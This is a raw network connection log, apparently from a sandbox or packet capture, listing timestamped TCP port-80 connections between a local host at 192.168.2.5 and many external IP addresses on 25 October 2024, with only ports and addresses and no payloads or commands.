Oct 25, 2024 11:17:39.355196953 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.355732918 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.355776072 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.355835915 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.356967926 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357017040 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.357043982 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357059956 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357074022 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357084990 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357116938 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.357116938 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.357135057 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.357146978 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357157946 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357167959 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357180119 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357191086 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.357197046 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357208967 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357222080 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357223034 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.357233047 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357239008 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.357244968 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357290983 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.357290983 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.357856035 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357868910 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357894897 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357914925 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357914925 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.357927084 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357947111 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357954979 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.357959986 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357970953 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.357990980 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.358002901 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.358011961 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.358011961 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.358015060 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.358025074 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.358028889 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.358052969 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.358063936 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.358076096 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.358088017 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.358093023 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.358093023 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.358100891 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.358141899 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.358141899 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.358553886 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.358572960 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.358586073 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.358606100 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.358620882 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.358772993 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.361675978 CEST	52621	80	192.168.2.5	51.79.51.72
Oct 25, 2024 11:17:39.364255905 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.364272118 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.364284992 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.364296913 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.364309072 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.364325047 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.364326954 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.364341974 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.364353895 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.364365101 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.364381075 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.364381075 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.364408016 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.364545107 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.364556074 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.364662886 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.367013931 CEST	80	52621	51.79.51.72	192.168.2.5
Oct 25, 2024 11:17:39.369251013 CEST	52621	80	192.168.2.5	51.79.51.72
Oct 25, 2024 11:17:39.369349957 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:39.374978065 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:39.434360027 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.434372902 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.434386015 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.434401035 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.434433937 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.434443951 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.434468031 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.434479952 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.434490919 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.434510946 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.434537888 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.434565067 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.434721947 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.434736967 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.434756994 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.434777975 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.434812069 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.434840918 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.434853077 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.434864044 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.434880972 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.434894085 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.434897900 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.434897900 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.434905052 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.434916019 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.434947014 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.434954882 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.434954882 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.434959888 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435003996 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435003996 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435029984 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435045958 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435056925 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435067892 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435079098 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435086012 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435091972 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435102940 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435115099 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435126066 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435127020 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435153008 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435164928 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435177088 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435178995 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435178995 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435188055 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435199976 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435200930 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435210943 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435224056 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435244083 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435245991 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435245991 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435256958 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435265064 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435301065 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435319901 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435331106 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435343027 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435343027 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435353041 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435367107 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435378075 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435404062 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435425997 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435425997 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435529947 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435611963 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435635090 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435645103 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435657024 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435668945 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435708046 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435708046 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435800076 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435811996 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435822964 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435847044 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435848951 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435858011 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435875893 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435883999 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435888052 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435899019 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435910940 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435921907 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435923100 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435935974 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435954094 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435954094 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435955048 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435966969 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435976982 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.435982943 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.435987949 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436000109 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436012030 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436023951 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436026096 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436026096 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436037064 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436043978 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436048985 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436073065 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436108112 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436108112 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436114073 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436265945 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436279058 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436289072 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436300039 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436312914 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436323881 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436335087 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436335087 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436336994 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436347961 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436367989 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436372995 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436372995 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436386108 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436388016 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436398029 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436408997 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436419964 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436425924 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436433077 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436450005 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436454058 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436461926 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436474085 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436485052 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436491966 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436491966 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436499119 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436507940 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436525106 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436538935 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436548948 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436549902 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436551094 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436583996 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436593056 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436593056 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436593056 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436604023 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436615944 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436628103 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436633110 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436640978 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436652899 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436654091 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436677933 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436691046 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436701059 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436708927 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436708927 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436744928 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436748028 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436759949 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436759949 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436805010 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436805010 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436821938 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436831951 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436844110 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436856985 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436867952 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436880112 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436894894 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436894894 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436918020 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436938047 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.436966896 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436980009 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436990976 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.436996937 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.437009096 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.437032938 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.437058926 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.437114000 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.437124968 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.437134981 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:39.437181950 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.437181950 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:39.473687887 CEST	52621	80	192.168.2.5	51.79.51.72
Oct 25, 2024 11:17:39.479402065 CEST	80	52621	51.79.51.72	192.168.2.5
Oct 25, 2024 11:17:39.483031034 CEST	80	52611	96.127.180.42	192.168.2.5
Oct 25, 2024 11:17:39.484205961 CEST	52611	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:17:39.501343966 CEST	52614	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:17:39.501539946 CEST	52615	80	192.168.2.5	104.196.26.65
Oct 25, 2024 11:17:39.506881952 CEST	80	52614	104.26.3.124	192.168.2.5
Oct 25, 2024 11:17:39.507035017 CEST	80	52615	104.196.26.65	192.168.2.5
Oct 25, 2024 11:17:39.581104994 CEST	52625	80	192.168.2.5	195.78.66.65
Oct 25, 2024 11:17:39.586369991 CEST	80	52625	195.78.66.65	192.168.2.5
Oct 25, 2024 11:17:39.586462975 CEST	52625	80	192.168.2.5	195.78.66.65
Oct 25, 2024 11:17:39.586592913 CEST	52625	80	192.168.2.5	195.78.66.65
Oct 25, 2024 11:17:39.592670918 CEST	80	52625	195.78.66.65	192.168.2.5
Oct 25, 2024 11:17:39.662806988 CEST	80	49761	137.118.26.67	192.168.2.5
Oct 25, 2024 11:17:39.662875891 CEST	49761	80	192.168.2.5	137.118.26.67
Oct 25, 2024 11:17:39.662966013 CEST	49761	80	192.168.2.5	137.118.26.67
Oct 25, 2024 11:17:39.668257952 CEST	80	49761	137.118.26.67	192.168.2.5
Oct 25, 2024 11:17:39.686331034 CEST	80	52615	104.196.26.65	192.168.2.5
Oct 25, 2024 11:17:39.686399937 CEST	52615	80	192.168.2.5	104.196.26.65
Oct 25, 2024 11:17:39.701852083 CEST	80	52614	104.26.3.124	192.168.2.5
Oct 25, 2024 11:17:39.701903105 CEST	52614	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:17:39.737895012 CEST	52627	80	192.168.2.5	18.245.31.21
Oct 25, 2024 11:17:39.743273020 CEST	80	52627	18.245.31.21	192.168.2.5
Oct 25, 2024 11:17:39.743346930 CEST	52627	80	192.168.2.5	18.245.31.21
Oct 25, 2024 11:17:39.743494987 CEST	52627	80	192.168.2.5	18.245.31.21
Oct 25, 2024 11:17:39.748851061 CEST	80	52627	18.245.31.21	192.168.2.5
Oct 25, 2024 11:17:39.787651062 CEST	52628	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:17:39.793047905 CEST	80	52628	3.65.101.129	192.168.2.5
Oct 25, 2024 11:17:39.793149948 CEST	52628	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:17:39.793225050 CEST	52628	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:17:39.798907042 CEST	80	52628	3.65.101.129	192.168.2.5
Oct 25, 2024 11:17:39.810461998 CEST	80	52616	217.19.237.54	192.168.2.5
Oct 25, 2024 11:17:39.810527086 CEST	52616	80	192.168.2.5	217.19.237.54
Oct 25, 2024 11:17:39.820106030 CEST	52629	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:17:39.825500965 CEST	80	52629	69.163.182.181	192.168.2.5
Oct 25, 2024 11:17:39.825577021 CEST	52629	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:17:39.825706959 CEST	52629	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:17:39.831399918 CEST	80	52629	69.163.182.181	192.168.2.5
Oct 25, 2024 11:17:39.870686054 CEST	52630	80	192.168.2.5	13.248.169.48
Oct 25, 2024 11:17:39.876008987 CEST	80	52630	13.248.169.48	192.168.2.5
Oct 25, 2024 11:17:39.876072884 CEST	52630	80	192.168.2.5	13.248.169.48
Oct 25, 2024 11:17:39.876209021 CEST	52630	80	192.168.2.5	13.248.169.48
Oct 25, 2024 11:17:39.881736994 CEST	80	52630	13.248.169.48	192.168.2.5
Oct 25, 2024 11:17:39.920515060 CEST	80	52559	62.122.190.121	192.168.2.5
Oct 25, 2024 11:17:39.920577049 CEST	52559	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:17:40.035278082 CEST	80	52618	75.119.202.130	192.168.2.5
Oct 25, 2024 11:17:40.035378933 CEST	52618	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:17:40.052046061 CEST	52618	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:17:40.057452917 CEST	80	52618	75.119.202.130	192.168.2.5
Oct 25, 2024 11:17:40.088547945 CEST	80	52618	75.119.202.130	192.168.2.5
Oct 25, 2024 11:17:40.090169907 CEST	52618	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:17:40.090240955 CEST	52618	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:17:40.090622902 CEST	52631	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:17:40.095489979 CEST	80	52618	75.119.202.130	192.168.2.5
Oct 25, 2024 11:17:40.095906973 CEST	80	52631	75.119.202.130	192.168.2.5
Oct 25, 2024 11:17:40.095994949 CEST	52631	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:17:40.096090078 CEST	52631	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:17:40.101388931 CEST	80	52631	75.119.202.130	192.168.2.5
Oct 25, 2024 11:17:40.102516890 CEST	80	52621	51.79.51.72	192.168.2.5
Oct 25, 2024 11:17:40.106112003 CEST	52621	80	192.168.2.5	51.79.51.72
Oct 25, 2024 11:17:40.106158972 CEST	52621	80	192.168.2.5	51.79.51.72
Oct 25, 2024 11:17:40.111586094 CEST	80	52621	51.79.51.72	192.168.2.5
Oct 25, 2024 11:17:40.257328033 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:40.262665033 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:40.266195059 CEST	52633	80	192.168.2.5	183.90.183.73
